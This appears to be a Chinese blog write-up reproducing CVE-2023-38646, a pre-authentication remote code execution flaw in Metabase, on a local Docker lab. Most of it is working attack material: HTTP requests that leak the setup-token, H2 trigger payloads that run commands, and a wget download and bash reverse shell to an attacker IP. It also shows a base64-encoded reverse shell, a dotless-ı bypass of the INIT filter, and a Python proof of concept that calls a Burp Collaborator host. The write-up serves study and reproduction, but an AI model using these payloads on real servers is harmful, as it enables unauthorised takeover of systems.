影响版本
- Metabase open source 0.46 < 0.46.6.1
 
- Metabase Enterprise 1.46 < 1.46.6.1
 
- Metabase open source 0.45 < v0.45.4.1
 
- Metabase Enterprise 1.45 < 1.45.4.1
 
- Metabase open source 0.44 < 0.44.7.1
 
- Metabase Enterprise 1.44 < 1.44.7.1
 
- Metabase open source 0.43 < 0.43.7.2
 
- Metabase Enterprise 1.43 < 1.43.7.2
 
漏洞复现
参考链接:
Metabase RCE漏洞复现
Pre-Auth RCE in Metabase(CVE-2023-38646)
1 2
   | # 启用靶机docker环境 docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
   | 
 
1 2
   | # 命令行窗口进入容器后台 docker exec -it CONTAINER_ID bash
   | 
 
浏览器访问http://localhost:3000或http://127.0.0.1:3000可以打开靶机界面。本实验不需要对靶机进行任何特殊处理,不过也可以自己创建一个账户看看
获取setup-token
1 2 3 4 5 6 7 8
   | GET /api/session/properties HTTP/1.1 Host: 127.0.0.1:3000 Accept: application/json Accept-Language: en-US, en; q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Connection: close Referer: http://127.0.0.1:3000
   | 
 
 将上述Get请求发送给目标url 
              
             
 响应数据 
              
             
Post请求触发RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | POST /api/setup/validate HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json
  {     "token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c",     "details":     {         "is_on_demand": false,         "is_full_sync": false,         "is_sample": false,         "cache_ttl": null,         "refingerprint": false,         "auto_run_queries": true,         "schedules":         {},         "details":         {             "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('touch /tmp/999')\n$$--=x",             "advanced-options": false,             "ssl": true         },         "name": "1",         "engine": "h2"     } }
   | 
 
 响应截图 
              
             
 命令执行成功 
              
             
反弹shell
注:192.168.21.128是我的kali也就是攻击机ip
shell脚本
1 2
   | !/bin/sh bash -c 'exec bash -i >& /dev/tcp/192.168.21.128/6666 0>&1'
   | 
 
启用http服务用于靶机下载shell脚本,注意0.0.0.0在真正使用的时候应该替换为kali即攻击机ip
1
   | python3 -m http.server 80
   | 
 
靶机下载shell脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | POST /api/setup/validate HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json
  {     "token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c",     "details":     {         "is_on_demand": false,         "is_full_sync": false,         "is_sample": false,         "cache_ttl": null,         "refingerprint": false,         "auto_run_queries": true,         "schedules":         {},         "details":         {             "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('wget http://192.168.21.128:80/1.sh -O /tmp/shell.sh')\n$$--=x",             "advanced-options": false,             "ssl": true         },         "name": "1",         "engine": "h2"     } }
   | 
 
这里只用下载一次就够了,我在本机上试了几次所以有多条下载记录。metabase是搭在本地的,所以下载使用的ip和本机是同样的

 下载成功 
              
             
执行shell脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | POST /api/setup/validate HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json
  {     "token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c",     "details":     {         "is_on_demand": false,         "is_full_sync": false,         "is_sample": false,         "cache_ttl": null,         "refingerprint": false,         "auto_run_queries": true,         "schedules":         {},         "details":         {             "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('/bin/bash /tmp/shell.sh')\n$$--=x",             "advanced-options": false,             "ssl": true         },         "name": "1",         "engine": "h2"     } }
   | 
 
监听6666端口,获取靶机反弹shell

源码分析
setup-token获取
参考:
Metabase 远程代码执行漏洞分析
H2 JDBC 深入利用
调用/api/setup/validate通过api.database/test-database-connection来处理输入的参数完成对数据库的校验。
 /api/setup/validate 
              
             
setup在安装时会校验setup-token参数是否正确,来判断是否要进行下步的数据库连接
 校验 
              
             
setup-token在进行生成的时候被默认设置为了public权限,所以可以通过/api/session/properties来读取
 获取setup-token 
              
             
setup-token利用
zip URI方法
H2在解析 init参数时对CREATE TRIGGER会由loadFromSource做特殊处理,根据执行内容的开头来判断是否为需要通过javascript引擎执行。如果以javascript开头就会通过javascript引擎进行编译然后进行执行。

我们就可以通过javascript引擎来实现代码执行,不过该方式在JDK 15之后移除了默认的解析,但是metabase在项目中使用到了js引擎技术。

YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx需要使用自己的IP和Port重新编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | POST /api/setup/validate HTTP/1.1 Host: localhost Content-Type: application/json Content-Length: 812
  {     "token": "5491c003-41c2-482d-bab4-6e174aa1738c",     "details":     {         "is_on_demand": false,         "is_full_sync": false,         "is_sample": false,         "cache_ttl": null,         "refingerprint": false,         "auto_run_queries": true,         "schedules":         {},         "details":         {             "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",             "advanced-options": false,             "ssl": true         },         "name": "an-sec-research-team",         "engine": "h2"     } }
   | 
 
H2限制绕过
转载:Metabase 远程代码执行漏洞分析
分析源码发现H2连接时会将INIT参数移除

1 2 3 4 5 6 7 8 9 10 11 12
   | (defn- connection-string-set-safe-options   "Add Metabase Security Settings™ to this `connection-string` (i.e. try to keep shady users from writing nasty SQL)."   [connection-string]   {:pre [(string? connection-string)]}   (let [[file options] (connection-string->file+options connection-string)]     (file+options->connection-string file (merge                                            (->> options ;; Remove INIT=... from options for security reasons (Metaboat #165) ;; http://h2database.com/html/features.html#execute_sql_on_connection                                                 (remove (fn [[k _]] (= (u/lower-case-en k) "init")))                                                 (into {}))                                            {"IFEXISTS" "TRUE"}))))
   | 
 
connection-string-set-safe-options使用了lower-case-en将参数名转换为小写字母之后与init匹配进行校验.
H2则是将参数名转换为大写

这里刚好可以使用 拉丁字母ı替换INIT中的I,ıNIT在转成大写时为INIT但是ıNIT转成小写后为ınit中的ı没有被转换,绕过限制
构造post请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | POST /api/setup/validate HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json
  {     "token": "141c5a35-3b1d-4c1b-8eca-0591111fa08c",     "details":     {         "is_on_demand": false,         "is_full_sync": false,         "is_sample": false,         "cache_ttl": null,         "refingerprint": false,         "auto_run_queries": true,         "schedules":         {},         "details":         {             "db": "file:/metabase.db/metabase.db;ınit=CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('touch /tmp/abc')\n$$",             "advanced-options": true},         	"name": "1",         	"engine": "h2",         	"database": {"db": "file:/metabase.db/metabase.db;ınit=CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c touch /tmp/abc')  $$",          	"advanced-options": true,         	"ssl": false}     } }
   | 
 
 RCE成功 
              
             
mem方法
参考:0xrobiul / CVE-2023-38646
这个我没有做过,感兴趣可以自行尝试,这个方法需要使用Burpsuite的collaborator,专业版Burpsuite自带这个功能,下载地址:Burpsuite_Pro
poc代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | import requests import argparse from colorama import Fore, Style Gcyan = Fore.YELLOW + Style.BRIGHT Cyan = Fore.CYAN + Style.BRIGHT STOP = Style.RESET_ALL logo = '''    _____   _____   ___ __ ___ ____   ____ ___   __ _ _   __    / __\ \ / / __|_|_  )  \_  )__ /__|__ /( _ ) / /| | | / /   | (__ \ V /| _|___/ / () / / |_ \___|_ \/ _ \/ _ \_  _/ _ \\   \___| \_/ |___| /___\__/___|___/  |___/\___/\___/ |_|\___/                                                              ''' print(Gcyan + logo + STOP) print(Cyan + "The PoC Finder!!" + STOP + Gcyan + "   By: 0xRobiul\n" + STOP)
 
  parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", type=str, required=True, help="Target URL.") parser.add_argument("-t", "--token", type=str, required=True, help="Setup-Token From /api/session/properties .") parser.add_argument("-c", "--collabrator", type=str, required=True, help="Burp Collabrator Client.") args = parser.parse_args()
  url = args.url + "/api/setup/validate" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "application/json", "Content-Type": "application/json", "Connection": "close"} payload={"details": {"details": {"advanced-options": True, "classname": "org.h2.Driver", "subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('curl -d key=0xRobiul " + args.collabrator +"');", "subprotocol": "h2"}, "engine": "postgres", "name": "x"}, "token": args.token} attk = requests.post(url, headers=headers, json=payload)
  print(Cyan + "Done!! Check Burp Colabrator!!" + STOP)
   | 
 
使用方法
1 2
   | python3 CVE-2023-38646.py -u 目标url:port -t token -c Burp_Collabrator_Client
 
   |